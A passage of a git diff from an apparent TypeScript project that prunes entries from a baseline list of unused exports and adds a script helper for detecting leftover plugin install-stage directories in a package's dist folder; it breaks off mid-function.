"src/config/sessions/store.ts: drainSessionStoreWriterQueuesForTest", - "src/config/sessions/store.ts: getActiveSessionMaintenanceWarning", - "src/config/sessions/store.ts: getSessionStoreWriterQueueSizeForTest", - "src/config/sessions/store.ts: listSessionEntries", - "src/config/sessions/store.ts: normalizeStoreSessionKey", - "src/config/sessions/store.ts: patchSessionEntry", - "src/config/sessions/store.ts: pruneStaleModelRunEntries", - "src/config/sessions/store.ts: purgeDeletedAgentSessionEntries", - "src/config/sessions/store.ts: readSessionEntries", - "src/config/sessions/store.ts: readSessionStoreSnapshot", - "src/config/sessions/store.ts: recordSessionMetaFromInbound", - "src/config/sessions/store.ts: ResolvedSessionMaintenanceConfig", - "src/config/sessions/store.ts: resolveMaintenanceConfig", - "src/config/sessions/store.ts: rollbackAgentHarnessSessionEntryLifecycle", - "src/config/sessions/store.ts: rollbackPluginOwnedSessionEntryLifecycle", - "src/config/sessions/store.ts: SessionMaintenanceApplyReport", - "src/config/sessions/store.ts: SessionMaintenanceWarning", - "src/config/sessions/store.ts: SessionStoreSnapshot", - "src/config/sessions/store.ts: SessionStoreSnapshotEntries", - "src/config/sessions/store.ts: SessionStoreSnapshotEntry", - "src/config/sessions/store.ts: updateLastRoute", - "src/config/sessions/store.ts: upsertSessionEntry", - "src/config/sessions/transcript-jsonl.ts: appendJsonlEntry", - "src/config/sessions/transcript-jsonl.ts: appendSerializedJsonlEntry", - "src/config/sessions/transcript-jsonl.ts: writeJsonlEntry", - "src/config/sessions/transcript-replay.ts: DEFAULT_REPLAY_MAX_MESSAGES", - "src/config/sessions/transcript-stream.ts: TranscriptReverseStreamOptions", - "src/config/sessions/transcript-stream.ts: TranscriptStreamOptions", - "src/config/sessions/transcript-tree.ts: SessionTranscriptTreeEntry", - "src/config/sessions/transcript-tree.ts: SessionTranscriptTreeNode", - "src/config/sessions/transcript-write-context.ts: resolveOwnedSessionTranscriptWriteLockRunner", - "src/config/sessions/transcript-write-context.ts: runWithOwnedSessionTranscriptWritePublication", - "src/config/sessions/transcript.ts: ReadRecentSessionConversationTextOptions", - "src/config/sessions/transcript.ts: ReadRecentSessionConversationTextParams", - "src/config/sessions/transcript.ts: readRecentUserAssistantTextFromSessionTranscript", - "src/config/sessions/transcript.ts: TailAssistantTranscriptText", - "src/config/sessions/types.ts: LaneExecutionState", - "src/config/sessions/types.ts: mergeSessionEntryWithPolicy", - "src/config/sessions/types.ts: SessionAcpIdentitySource", - "src/config/sessions/types.ts: SessionAcpIdentityState", - "src/config/sessions/types.ts: SessionChannelId", - "src/config/sessions/types.ts: SessionCompactionTranscriptReference", - "src/config/sessions/types.ts: SessionContextBudgetStatusRoute", - "src/config/sessions/types.ts: SessionEntryMergePolicy", - "src/config/sessions/types.ts: SessionPluginDebugEntry", - "src/config/sessions/types.ts: SessionPluginJsonValue", - "src/config/sessions/types.ts: SessionPluginNextTurnInjection", - "src/config/sessions/types.ts: SubagentRecoveryState", - "src/config/state-dir-dotenv.ts: DurableServiceEnvVarSources", - "src/config/state-dir-dotenv.ts: readStateDirDotEnvVars", - "src/config/validation.ts: __testing", - "src/config/validation.ts: testing", - "src/config/version.ts: isSameOpenClawStableFamily", - "src/config/version.ts: parseOpenClawVersion", - "src/config/zod-schema.agent-runtime.ts: AgentRuntimePolicySchema", - "src/config/zod-schema.agents.ts: BroadcastStrategySchema", - "src/config/zod-schema.core.ts: _ModelCompatSchemaAssignableToType", - "src/config/zod-schema.core.ts: _ModelCompatTypeAssignableToSchema", - "src/config/zod-schema.core.ts: _ToolsMediaAsyncCompletionSchemaAssignableToType", - "src/config/zod-schema.core.ts: _ToolsMediaAsyncCompletionTypeAssignableToSchema", - "src/config/zod-schema.core.ts: MarkdownTableModeSchema", - "src/config/zod-schema.core.ts: MentionPatternsModeSchema", - "src/config/zod-schema.core.ts: normalizeAllowFrom", - "src/config/zod-schema.providers-core.ts: DiscordAccountSchema", - "src/config/zod-schema.providers-core.ts: DiscordDmSchema", - "src/config/zod-schema.providers-core.ts: DiscordGuildChannelSchema", - "src/config/zod-schema.providers-core.ts: DiscordGuildSchema", - "src/config/zod-schema.providers-core.ts: DiscordThreadSchema", - "src/config/zod-schema.providers-core.ts: IMessageAccountSchemaBase", - "src/config/zod-schema.providers-core.ts: IrcAccountSchema", - "src/config/zod-schema.providers-core.ts: IrcAccountSchemaBase", - "src/config/zod-schema.providers-core.ts: IrcConfigSchema", - "src/config/zod-schema.providers-core.ts: IrcGroupSchema", - "src/config/zod-schema.providers-core.ts: IrcNickServSchema", - "src/config/zod-schema.providers-core.ts: MSTeamsChannelSchema", - "src/config/zod-schema.providers-core.ts: MSTeamsTeamSchema", - "src/config/zod-schema.providers-core.ts: SignalAccountSchemaBase", - "src/config/zod-schema.providers-core.ts: SlackAccountSchema", - "src/config/zod-schema.providers-core.ts: SlackChannelSchema", - "src/config/zod-schema.providers-core.ts: SlackDmSchema", - "src/config/zod-schema.providers-core.ts: SlackRelaySchema", - "src/config/zod-schema.providers-core.ts: SlackSocketModeSchema", - "src/config/zod-schema.providers-core.ts: SlackThreadSchema", - "src/config/zod-schema.providers-core.ts: TelegramAccountSchema", - "src/config/zod-schema.providers-core.ts: TelegramAccountSchemaBase", - "src/config/zod-schema.providers-core.ts: TelegramDirectSchema", - "src/config/zod-schema.providers-core.ts: TelegramGroupSchema", - "src/config/zod-schema.providers-core.ts: TelegramTopicSchema", - "src/config/zod-schema.providers-googlechat.ts: GoogleChatAccountSchema", - "src/config/zod-schema.providers-googlechat.ts: GoogleChatDmSchema", - "src/config/zod-schema.providers-googlechat.ts: GoogleChatGroupSchema", - "src/config/zod-schema.providers-whatsapp.ts: WhatsAppAccountSchema", - "src/config/zod-schema.proxy.ts: ProxyLoopbackModeSchema", - "src/config/zod-schema.ts: installZodDefaultLocale", - "src/config/zod-schema.ts: McpServerSchema", "src/context-engine/registry.ts: clearContextEngineRuntimeQuarantine", "src/context-engine/registry.ts: ContextEngineRegistrationResult", "src/context-engine/registry.ts: getContextEngineFactory", @@ -1606,345 +1398,6 @@ export const KNIP_UNUSED_EXPORT_BASELINE = [ "src/image-generation/runtime-types.ts: ListRuntimeImageGenerationProvidersParams", "src/image-generation/runtime-types.ts: RuntimeImageGenerationProvider", "src/image-generation/runtime.ts: ImageGenerationRuntimeDeps", - "src/infra/active-node-context.ts: ActiveNodeContext", - "src/infra/active-node-context.ts: resetActiveNodeContextForTests", - "src/infra/agent-events.ts: AgentApprovalEventKind", - "src/infra/agent-events.ts: AgentApprovalEventPhase", - "src/infra/agent-events.ts: AgentApprovalEventStatus", - "src/infra/agent-events.ts: AgentItemEventKind", - "src/infra/agent-events.ts: AgentItemEventPhase", - "src/infra/agent-events.ts: AgentItemEventStatus", - "src/infra/agent-events.ts: AgentRunContext", - "src/infra/agent-events.ts: resetAgentRunContextForTest", - "src/infra/approval-native-route-coordinator.ts: clearApprovalNativeRouteStateForTest", - "src/infra/approval-resolution-ref.ts: APPROVAL_RESOLUTION_REF_LENGTH", - "src/infra/approval-view-model.ts: isTypedApprovalActionView", - "src/infra/archive.ts: ArchiveSecurityError", - "src/infra/backup-create.ts: __test", - "src/infra/backup-create.ts: buildExtensionsNodeModulesFilter", - "src/infra/backup-create.ts: testApi", - "src/infra/clawhub-install-trust.ts: ClawHubTrustAcceptedResult", - "src/infra/clawhub-install-trust.ts: ClawHubTrustFailure", - "src/infra/clawhub-install-trust.ts: ClawHubTrustInstallRecordFields", - "src/infra/clawhub.ts: ClawHubArtifactModerationState", - "src/infra/clawhub.ts: ClawHubArtifactScanState", - "src/infra/clawhub.ts: ClawHubPackageEnvironmentSummary", - "src/infra/clawhub.ts: ClawHubPackageHostTarget", - "src/infra/clawhub.ts: ClawHubPackageListItem", - "src/infra/clawhub.ts: ClawHubPromotionModel", - "src/infra/clawhub.ts: ClawHubPromotionsFeed", - "src/infra/clawhub.ts: ClawHubPromotionsFeedFetchResult", - "src/infra/clawhub.ts: ClawHubSkillSecurityVerdictRequestItem", - "src/infra/clawhub.ts: ClawHubSkillSecurityVerdictsResponse", - "src/infra/clawhub.ts: ClawHubSkillVerificationDecision", - "src/infra/clawhub.ts: parseClawHubPromotion", - "src/infra/clawhub.ts: resolveClawHubAuthToken", - "src/infra/command-analysis/explain.ts: explainCommandForDisplay", - "src/infra/command-analysis/explain.ts: summarizeCommandExplanation", - "src/infra/command-analysis/explain.ts: summarizeCommandSegmentsForDisplay", - "src/infra/command-analysis/policy.ts: CommandPolicyAnalysis", - "src/infra/command-analysis/risks.ts: CarriedShellBuiltinHit", - "src/infra/command-analysis/risks.ts: COMMAND_CARRIER_EXECUTABLES", - "src/infra/command-analysis/risks.ts: CommandCarrierHit", - "src/infra/command-analysis/risks.ts: detectEnvSplitStringFlag", - "src/infra/command-analysis/risks.ts: resolveCarrierCommandArgv", - "src/infra/command-carriers.ts: ParsedEnvInvocationPrelude", - "src/infra/command-explainer/tree-sitter-runtime.ts: getBashParserForCommandExplanation", - "src/infra/command-explainer/tree-sitter-runtime.ts: resolvePackageFileForCommandExplanation", - "src/infra/command-explainer/tree-sitter-runtime.ts: setBashParserLoaderForCommandExplanationForTest", - "src/infra/control-ui-assets.ts: resolveControlUiDistIndexPath", - "src/infra/control-ui-assets.ts: resolveControlUiRepoRoot", - "src/infra/delivery-queue-sqlite.ts: DeliveryQueueEntryState", - "src/infra/delivery-queue-sqlite.ts: FailedDeliveryQueueCount", - "src/infra/delivery-queue-sqlite.ts: FailPendingDeliveryQueueEntryResult", - "src/infra/delivery-recovery.shared.ts: RECOVERY_REPLAY_SPACING_MS", - "src/infra/dev-install-branch.ts: detectDevInstallGitBranch", - "src/infra/device-bootstrap.ts: DEVICE_BOOTSTRAP_TOKEN_TTL_MS", - "src/infra/device-bootstrap.ts: DeviceBootstrapTokenRecord", - "src/infra/device-pairing-migration.ts: LegacyDevicePairingMigrationResult", - "src/infra/device-pairing-store.ts: DevicePairingStoreState", - "src/infra/device-pairing-store.ts: DevicePairingStoreTarget", - "src/infra/device-pairing-store.ts: resolveDevicePairingStateDbOptions", - "src/infra/device-pairing.ts: ApproveDevicePairingResult", - "src/infra/device-pairing.ts: DevicePairingAccessMetadata", - "src/infra/device-pairing.ts: DevicePairingForbiddenReason", - "src/infra/device-pairing.ts: DevicePairingForbiddenResult", - "src/infra/device-pairing.ts: DevicePairingList", - "src/infra/device-pairing.ts: DevicePairingPendingRecord", - "src/infra/device-pairing.ts: DevicePairingSupersededRequest", - "src/infra/device-pairing.ts: PairedDeviceApprovalKind", - "src/infra/device-pairing.ts: PairedDeviceMetadataPatch", - "src/infra/device-pairing.ts: PairedDeviceNodeSurface", - "src/infra/device-pairing.ts: RequestDevicePairingResult", - "src/infra/device-pairing.ts: RevokeDeviceTokenResult", - "src/infra/device-pairing.ts: RotateDeviceTokenResult", - "src/infra/diagnostic-trace-context.ts: resetDiagnosticTraceContextForTest", - "src/infra/dispatch-wrapper-resolution.ts: unwrapEnvInvocation", - "src/infra/ed25519-signature.ts: base64UrlEncode", - "src/infra/event-session-routing.ts: parseDirectAgentSessionTarget", - "src/infra/exec-approval-forwarder.ts: buildExecApprovalRequestMessage", - "src/infra/exec-approval-policy-snapshot.ts: ExecApprovalPolicyRule", - "src/infra/exec-approvals-effective.ts: ExecPolicyHostDefaults", - "src/infra/exec-approvals.ts: DurableExecApprovalRequirement", - "src/infra/exec-approvals.ts: persistAllowAlwaysDecisionLocked", - "src/infra/exec-approvals.ts: recordAllowlistMatchesUseLocked", - "src/infra/exec-authorization-plan.ts: ExecAuthorizationDialect", - "src/infra/exec-authorization-plan.ts: ExecAuthorizationGroup", - "src/infra/exec-authorization-plan.ts: ExecAuthorizationTransport", - "src/infra/exec-authorization-plan.ts: ExecAuthorizationTrustMode", - "src/infra/exec-authorization-render.ts: AuthorizedShellRenderMode", - "src/infra/exec-authorization-render.ts: AuthorizedShellRenderResult", - "src/infra/exec-auto-review.ts: ExecAutoReviewHost", - "src/infra/exec-control-command-guard.ts: UnsafeExecControlShellCommandKind", - "src/infra/exec-policy.ts: ExecPolicyLayer", - "src/infra/exec-safe-bin-policy-profiles.ts: renderDefaultSafeBinsDocText", - "src/infra/exec-safe-bin-policy-profiles.ts: renderSafeBinDeniedFlagsDocBullets", - "src/infra/exec-safe-bin-policy-profiles.ts: SAFE_BIN_PROFILE_FIXTURES", - "src/infra/exec-safe-bin-policy.ts: buildLongFlagPrefixMap", - "src/infra/exec-safe-bin-policy.ts: collectKnownLongFlags", - "src/infra/exec-safe-bin-policy.ts: renderDefaultSafeBinsDocText", - "src/infra/exec-safe-bin-policy.ts: renderSafeBinDeniedFlagsDocBullets", - "src/infra/exec-safe-bin-policy.ts: SAFE_BIN_PROFILE_FIXTURES", - "src/infra/exec-wrapper-resolution.ts: basenameLower", - "src/infra/exec-wrapper-resolution.ts: extractShellWrapperInlineCommand", - "src/infra/exec-wrapper-resolution.ts: isDispatchWrapperExecutable", - "src/infra/exec-wrapper-resolution.ts: resolveDispatchWrapperTrustPlan", - "src/infra/exec-wrapper-resolution.ts: unwrapEnvInvocation", - "src/infra/exec-wrapper-tokens.ts: basenameLower", - "src/infra/executable-path.ts: isExecutableFile", - "src/infra/file-store.ts: FileStore", - "src/infra/fs-safe-advanced.ts: assertNoHardlinkedFinalPath", - "src/infra/fs-safe-advanced.ts: FileIdentityStat", - "src/infra/fs-safe-advanced.ts: writeSiblingTempFile", - "src/infra/gateway-active-work.ts: GatewayActiveWorkCounts", - "src/infra/gateway-boot-lifecycle.ts: GATEWAY_BOOT_LIFECYCLE_RETENTION_MS", - "src/infra/gateway-boot-lifecycle.ts: GATEWAY_BOOT_LOOP_UNCLEAN_THRESHOLD", - "src/infra/gateway-boot-lifecycle.ts: GATEWAY_BOOT_LOOP_WINDOW_MS", - "src/infra/gateway-boot-lifecycle.ts: GatewayBootLifecycleOutcome", - "src/infra/gateway-suspend-coordinator.ts: GATEWAY_SUSPEND_RETRY_AFTER_MS", - "src/infra/gateway-suspend-coordinator.ts: GATEWAY_SUSPEND_TTL_MS", - "src/infra/gateway-suspend-coordinator.ts: GatewaySuspendPrepareResult", - "src/infra/gateway-suspend-coordinator.ts: GatewaySuspendResumeResult", - "src/infra/gateway-suspend-coordinator.ts: GatewaySuspendStatusResult", - "src/infra/gateway-suspend-coordinator.ts: resetGatewaySuspendCoordinatorForTest", - "src/infra/git-commit.ts: CommitMetadataReaders", - "src/infra/git-commit.ts: testing", - "src/infra/heartbeat-cooldown.ts: DEFAULT_FLOOD_THRESHOLD", - "src/infra/heartbeat-cooldown.ts: DEFAULT_MIN_WAKE_SPACING_MS", - "src/infra/heartbeat-cooldown.ts: ShouldDeferInput", - "src/infra/heartbeat-wake.ts: hasHeartbeatWakeHandler", - "src/infra/heartbeat-wake.ts: hasPendingHeartbeatWake", - "src/infra/heartbeat-wake.ts: HeartbeatWakeOverride", - "src/infra/heartbeat-wake.ts: resetHeartbeatWakeStateForTests", - "src/infra/heartbeat-wake.ts: RetryableHeartbeatBusySkipReason", - "src/infra/inline-option-token.ts: InlineOptionToken", - "src/infra/install-source-utils.ts: NpmResolutionFields", - "src/infra/jsonl-socket.ts: testApi", - "src/infra/net/http-connect-tunnel.ts: HttpConnectTunnelParams", - "src/infra/net/proxy/active-proxy-state.ts: resetActiveManagedProxyStateForTests", - "src/infra/net/proxy/proxy-validation.ts: DEFAULT_PROXY_VALIDATION_ALLOWED_URLS", - "src/infra/net/proxy/proxy-validation.ts: ProxyValidationApnsCheck", - "src/infra/net/proxy/proxy-validation.ts: ProxyValidationApnsCheckParams", - "src/infra/net/proxy/proxy-validation.ts: ProxyValidationApnsCheckResult", - "src/infra/net/proxy/proxy-validation.ts: ProxyValidationCheck", - "src/infra/net/proxy/proxy-validation.ts: ProxyValidationCheckKind", - "src/infra/net/proxy/proxy-validation.ts: ProxyValidationConfigSource", - "src/infra/net/proxy/proxy-validation.ts: ProxyValidationFetchCheck", - "src/infra/net/proxy/proxy-validation.ts: ProxyValidationFetchCheckParams", - "src/infra/net/proxy/proxy-validation.ts: ProxyValidationFetchCheckResult", - "src/infra/net/proxy/proxy-validation.ts: ProxyValidationResolvedConfig", - "src/infra/net/proxy/proxy-validation.ts: resolveProxyValidationConfig", - "src/infra/net/proxy/proxy-validation.ts: ResolveProxyValidationConfigOptions", - "src/infra/net/proxy/proxy-validation.ts: RunProxyValidationOptions", - "src/infra/net/undici-runtime.ts: TEST_UNDICI_RUNTIME_DEPS_KEY", - "src/infra/node-pairing-migration.ts: LegacyNodePairingMigrationResult", - "src/infra/node-pairing.ts: NodePairingPendingSnapshot", - "src/infra/npm-integrity.ts: resolveNpmIntegrityDrift", - "src/infra/npm-managed-root.ts: MissingRequiredPlatformPackage", - "src/infra/npm-pack-install.ts: installFromNpmSpecArchive", - "src/infra/npm-registry-spec.ts: isOpenClawStableCorrectionVersion", - "src/infra/openclaw-exec-env.ts: OPENCLAW_CLI_ENV_VALUE", - "src/infra/openclaw-root.ts: __testing", - "src/infra/openclaw-root.ts: testing", - "src/infra/outbound/channel-resolution.ts: resetOutboundChannelResolutionStateForTest", - "src/infra/outbound/channel-selection.ts: testing", - "src/infra/outbound/deliver-types.ts: PLATFORM_MESSAGE_NOT_DISPATCHED_ERROR_CODE", - "src/infra/outbound/deliver.ts: normalizeOutboundPayloads", - "src/infra/outbound/delivery-queue-recovery.ts: computeBackoffMs", - "src/infra/outbound/delivery-queue-recovery.ts: isEntryEligibleForRecoveryRetry", - "src/infra/outbound/delivery-queue-recovery.ts: isPermanentDeliveryError", - "src/infra/outbound/delivery-queue-recovery.ts: MAX_RETRIES", - "src/infra/outbound/delivery-queue.ts: computeBackoffMs", - "src/infra/outbound/delivery-queue.ts: failPendingDelivery", - "src/infra/outbound/delivery-queue.ts: isEntryEligibleForRecoveryRetry", - "src/infra/outbound/delivery-queue.ts: isPermanentDeliveryError", - "src/infra/outbound/delivery-queue.ts: loadPendingDeliveries", - "src/infra/outbound/delivery-queue.ts: loadPendingDelivery", - "src/infra/outbound/delivery-queue.ts: MAX_RETRIES", - "src/infra/outbound/delivery-queue.ts: moveToFailed", - "src/infra/outbound/directory-cache.ts: DirectoryCacheKey", - "src/infra/outbound/payloads.ts: normalizeOutboundPayloads", - "src/infra/outbound/target-errors.ts: ambiguousTargetMessage", - "src/infra/outbound/target-errors.ts: missingTargetMessage", - "src/infra/outbound/target-errors.ts: unknownTargetMessage", - "src/infra/outbound/target-normalization.ts: testing", - "src/infra/outbound/target-resolver.ts: resolveMessagingTarget", - "src/infra/package-dist-inventory.ts: assertNoLegacyPluginDependencyStagingDebris", - "src/infra/package-dist-inventory.ts: collectLegacyPluginDependencyStagingDebrisPaths", - "src/infra/package-dist-inventory.ts: isLegacyPluginDependencyInstallStagePath", - "src/infra/package-dist-inventory.ts: LOCAL_BUILD_METADATA_DIST_PATHS", - "src/infra/package-dist-inventory.ts: writePackageDistInventory", - "src/infra/package-json.ts: readPackageJson", - "src/infra/package-manager-exec-wrapper.ts: NPM_EXEC_OPTIONS_WITH_VALUE", - "src/infra/package-manager-exec-wrapper.ts: PackageManagerExecInvocation", - "src/infra/package-update-steps.ts: PackageUpdateStepResult", - "src/infra/pairing-files.ts: writeJson", - "src/infra/pairing-token.ts: PAIRING_TOKEN_BYTES", - "src/infra/path-guards.ts: hasNodeErrorCode", - "src/infra/path-guards.ts: isNodeError", - "src/infra/path-guards.ts: isPathInsideWithRealpath", - "src/infra/path-guards.ts: isSymlinkOpenError", - "src/infra/path-guards.ts: isWithinDir", - "src/infra/path-guards.ts: resolveSafeBaseDir", - "src/infra/path-guards.ts: resolveSafeRelativePath", - "src/infra/path-guards.ts: safeRealpathSync", - "src/infra/path-guards.ts: splitSafeRelativePath", - "src/infra/path-safety.ts: hasNodeErrorCode", - "src/infra/path-safety.ts: isNodeError", - "src/infra/path-safety.ts: isNotFoundPathError", - "src/infra/path-safety.ts: isSymlinkOpenError", - "src/infra/path-safety.ts: normalizeWindowsPathForComparison", - "src/infra/path-safety.ts: resolveSafeBaseDir", - "src/infra/path-safety.ts: resolveSafeRelativePath", - "src/infra/path-safety.ts: splitSafeRelativePath", - "src/infra/permissions.ts: formatWindowsAclSummary", - "src/infra/permissions.ts: inspectWindowsAcl", - "src/infra/permissions.ts: parseIcaclsOutput", - "src/infra/permissions.ts: resolveWindowsUserPrincipal", - "src/infra/permissions.ts: summarizeWindowsAcl", - "src/infra/permissions.ts: WindowsAclEntry", - "src/infra/permissions.ts: WindowsAclSummary", - "src/infra/ports-format.ts: formatPortListener", - "src/infra/ports-format.ts: isSingleExpectedGatewayListener", - "src/infra/ports-netstat.ts: WindowsNetstatListener", - "src/infra/ports.ts: buildPortHints", - "src/infra/ports.ts: isSingleExpectedGatewayListener", - "src/infra/ports.ts: PortConnections", - "src/infra/ports.ts: PortListenerKind", - "src/infra/private-file-store.ts: PrivateFileStoreSync", - "src/infra/promotions-feed.ts: PromotionClaimRecord", - "src/infra/promotions-feed.ts: PromotionsFeedState", - "src/infra/promotions-feed.ts: readPromotionsFeedState", - "src/infra/push-apns-http2.ts: ApnsResponseBodyCapture", - "src/infra/push-apns-http2.ts: ConnectApnsHttp2SessionParams", - "src/infra/push-apns-http2.ts: ProbeApnsHttp2ReachabilityViaProxyParams", - "src/infra/push-apns-http2.ts: ProbeApnsHttp2ReachabilityViaProxyResult", - "src/infra/push-apns.relay.ts: DEFAULT_APNS_RELAY_BASE_URL", - "src/infra/push-apns.relay.ts: DEFAULT_APNS_SANDBOX_RELAY_BASE_URL", - "src/infra/push-apns.ts: ApnsPushResult", - "src/infra/push-apns.ts: shouldInvalidateApnsRegistration", - "src/infra/push-web.ts: listWebPushSubscriptions", - "src/infra/regular-file.ts: RegularFileStatResult", - "src/infra/regular-file.ts: resolveRegularFileAppendFlags", - "src/infra/regular-file.ts: statRegularFile", - "src/infra/regular-file.ts: statRegularFileSync", - "src/infra/resolve-system-bin.ts: getTrustedDirsForTest", - "src/infra/resolve-system-bin.ts: resetResolveSystemBin", - "src/infra/restart-coordinator.ts: SafeGatewayRestartBlocker", - "src/infra/restart-coordinator.ts: SafeGatewayRestartCounts", - "src/infra/restart-coordinator.ts: SafeGatewayRestartPreflight", - "src/infra/restart-handoff.ts: GATEWAY_SUPERVISOR_RESTART_HANDOFF_KIND", - "src/infra/restart-handoff.ts: GatewayRestartHandoffRestartKind", - "src/infra/restart-handoff.ts: GatewayRestartHandoffSource", - "src/infra/restart-handoff.ts: GatewayRestartHandoffSupervisorMode", - "src/infra/restart-sentinel.ts: RestartSentinel", - "src/infra/restart-sentinel.ts: RestartSentinelLog", - "src/infra/restart-sentinel.ts: RestartSentinelStats", - "src/infra/restart-sentinel.ts: RestartSentinelStep", - "src/infra/restart-stale-pids.ts: __testing", - "src/infra/restart-stale-pids.ts: testing", - "src/infra/restart.ts: __testing", - "src/infra/restart.ts: DEFAULT_RESTART_DEFERRAL_TIMEOUT_MS", - "src/infra/restart.ts: emitGatewayRestart", - "src/infra/restart.ts: findGatewayPidsOnPortSync", - "src/infra/restart.ts: GatewayRestartEmitResult", - "src/infra/restart.ts: RestartAttempt", - "src/infra/restart.ts: RestartAuditInfo", - "src/infra/restart.ts: RestartDeferralHooks", - "src/infra/restart.ts: RestartEmitHooks", - "src/infra/restart.ts: testing", - "src/infra/root-paths.ts: ensureDirectoryWithinRoot", - "src/infra/runtime-guard.ts: detectRuntime", - "src/infra/runtime-guard.ts: parseMinimumNodeEngine", - "src/infra/runtime-guard.ts: RuntimeDetails", - "src/infra/runtime-guard.ts: runtimeSatisfies", - "src/infra/session-cost-usage-cache.sqlite.ts: sessionCostUsageCacheTestApi", - "src/infra/session-cost-usage.ts: loadSessionCostSummaryFromCache", - "src/infra/session-cost-usage.ts: refreshCostUsageCache", - "src/infra/session-cost-usage.ts: requestCostUsageCacheRefresh", - "src/infra/session-delivery-queue-recovery.ts: isSessionDeliveryEligibleForRetry", - "src/infra/session-delivery-queue.ts: ackSessionDelivery", - "src/infra/session-delivery-queue.ts: failSessionDelivery", - "src/infra/session-delivery-queue.ts: isSessionDeliveryEligibleForRetry", - "src/infra/session-delivery-queue.ts: loadPendingSessionDeliveries", - "src/infra/session-maintenance-warning.ts: __testing", - "src/infra/session-maintenance-warning.ts: testing", - "src/infra/shell-env.ts: resetShellPathCacheForTests", - "src/infra/shell-inline-command.ts: POWERSHELL_INLINE_COMMAND_FLAGS", - "src/infra/sqlite-integrity.ts: SqliteIntegrityChecks", - "src/infra/sqlite-snapshot.ts: CreateVerifiedSqliteSnapshotOptions", - "src/infra/sqlite-snapshot.ts: PublishedSqliteFileGuard", - "src/infra/sqlite-snapshot.ts: PublishVerifiedSqliteFileOptions", - "src/infra/sqlite-snapshot.ts: SqliteFileContent", - "src/infra/sqlite-snapshot.ts: VerifiedSqliteSnapshot", - "src/infra/sqlite-wal.ts: DEFAULT_SQLITE_WAL_AUTOCHECKPOINT_PAGES", - "src/infra/sqlite-wal.ts: DEFAULT_SQLITE_WAL_CHECKPOINT_INTERVAL_MS", - "src/infra/sqlite-wal.ts: enableIncrementalAutoVacuumForFreshDatabase", - "src/infra/stale-lock-file.ts: LockFileOwnerPayload", - "src/infra/state-migrations.cron-run-logs.ts: CRON_RUN_LOG_TASK_IMPORT_MIGRATION_ID", - "src/infra/state-migrations.cron-run-logs.ts: CronRunLogTaskImportResult", - "src/infra/state-migrations.debug-proxy.ts: LegacyDebugProxyCaptureDetection", - "src/infra/state-migrations.fs.ts: isLegacyWhatsAppAuthFile", - "src/infra/state-migrations.session-store.ts: sessionStoreTextMayNeedCanonicalization", - "src/infra/state-migrations.ts: sessionStoreTextMayNeedCanonicalization", - "src/infra/supervisor-markers.ts: DetectRespawnSupervisorOptions", - "src/infra/system-run-approval-binding.ts: matchSystemRunApprovalEnvHash", - "src/infra/system-run-command.ts: validateSystemRunCommandConsistency", - "src/infra/tailnet.ts: listTailnetAddresses", - "src/infra/tailscale.ts: getTestTailscaleBinaryOverride", - "src/infra/tailscale.ts: tailscaleFunnelStatusCoversPort", - "src/infra/update-channels.ts: isPrereleaseTag", - "src/infra/update-channels.ts: UpdateChannelSource", - "src/infra/update-check.ts: checkDepsStatus", - "src/infra/update-check.ts: DepsStatus", - "src/infra/update-check.ts: ExtendedStableResolutionResult", - "src/infra/update-check.ts: fetchNpmLatestVersion", - "src/infra/update-check.ts: fetchNpmRegistryVersionForChannel", - "src/infra/update-check.ts: GitUpdateStatus", - "src/infra/update-check.ts: NpmPackageTargetStatus", - "src/infra/update-check.ts: NpmTagStatus", - "src/infra/update-check.ts: PackageManager", - "src/infra/update-check.ts: RegistryStatus", - "src/infra/update-global.ts: isExplicitPackageInstallSpec", - "src/infra/update-global.ts: isMainPackageTarget", - "src/infra/update-global.ts: OPENCLAW_MAIN_PACKAGE_SPEC", - "src/infra/update-global.ts: resolveGlobalInstallCommand", - "src/infra/update-global.ts: resolveGlobalRoot", - "src/infra/update-managed-service-handoff.ts: ManagedServiceUpdateHandoffResult", - "src/infra/update-managed-service-handoff.ts: stripSupervisorHintEnv", - "src/infra/update-package-manager.ts: PackageManagerCommandRunner", - "src/infra/update-post-core-finalize.ts: PostCoreFinalizeOutcome", - "src/infra/update-post-core-finalize.ts: PostCoreFinalizeSpawner", - "src/infra/update-runner.ts: UpdateInstallSurface", - "src/infra/update-runner.ts: UpdateStepCompletion", - "src/infra/voicewake-routing.ts: normalizeVoiceWakeTriggerWord", - "src/infra/windows-encoding.ts: parseWindowsCodePage", - "src/infra/windows-install-roots.ts: DEFAULT_WINDOWS_SYSTEM_ROOT", - "src/infra/windows-install-roots.ts: normalizeWindowsInstallRoot", - "src/infra/windows-install-roots.ts: privateTestApi", - "src/infra/windows-install-roots.ts: resetWindowsInstallRootsForTests", - "src/infra/windows-shell-command.ts: RebuiltShellCommandResult", - "src/infra/windows-shell-command.ts: ShellSegmentRenderResult", "src/llm/providers/stream-wrappers/anthropic-family-cache-semantics.ts: isAnthropicBedrockModel", "src/llm/utils/node-http-proxy.ts: resolveHttpProxyUrlForTarget", "src/llm/utils/node-http-proxy.ts: UNSUPPORTED_PROXY_PROTOCOL_MESSAGE", diff --git a/scripts/lib/package-dist-inventory.ts b/scripts/lib/package-dist-inventory.ts new file mode 100644 index 000000000000..b30a4aa7a37a --- /dev/null +++ b/scripts/lib/package-dist-inventory.ts @@ -0,0 +1,125 @@ +import fs from "node:fs/promises"; +import path from "node:path"; +import { sortUniqueStrings } from "@openclaw/normalization-core/string-normalization"; +import { writeJson } from "../../src/infra/json-files.ts"; +import { + collectPackageDistInventory, + PACKAGE_DIST_INVENTORY_RELATIVE_PATH, +} from "../../src/infra/package-dist-inventory.ts"; + +export { LOCAL_BUILD_METADATA_DIST_PATHS } from "./local-build-metadata-paths.mjs"; +export { PACKAGE_DIST_INVENTORY_RELATIVE_PATH }; + +const INSTALL_STAGE_DEBRIS_DIR_PATTERN = /^\.openclaw-install-stage(?:-[^/]+)?$/iu; + +function normalizeRelativePath(value: string): string { + return value.replace(/\\/g, "/"); +} + +function isInstallStageDirName(value: string): boolean { + return INSTALL_STAGE_DEBRIS_DIR_PATTERN.test(value); +} + +export function isLegacyPluginDependencyInstallStagePath(relativePath: string): boolean { + const parts = normalizeRelativePath(relativePath).split("/"); + return ( + parts.length >= 4 && + parts[0]?.toLowerCase() === "dist" && + parts[1]?.toLowerCase() === "extensions" && + Boolean(parts[2]) && + isInstallStageDirName(parts[3] ?? "") + ); +} + +async function collectLegacyPluginDependencyStagingDebrisPaths( + packageRoot: string, +): Promise { + const distDirs: string[] = []; + try { + const packageRootEntries = await fs.readdir(packageRoot, { withFileTypes: true }); + for (const entry of packageRootEntries) { + if (entry.isDirectory() && entry.name.toLowerCase() 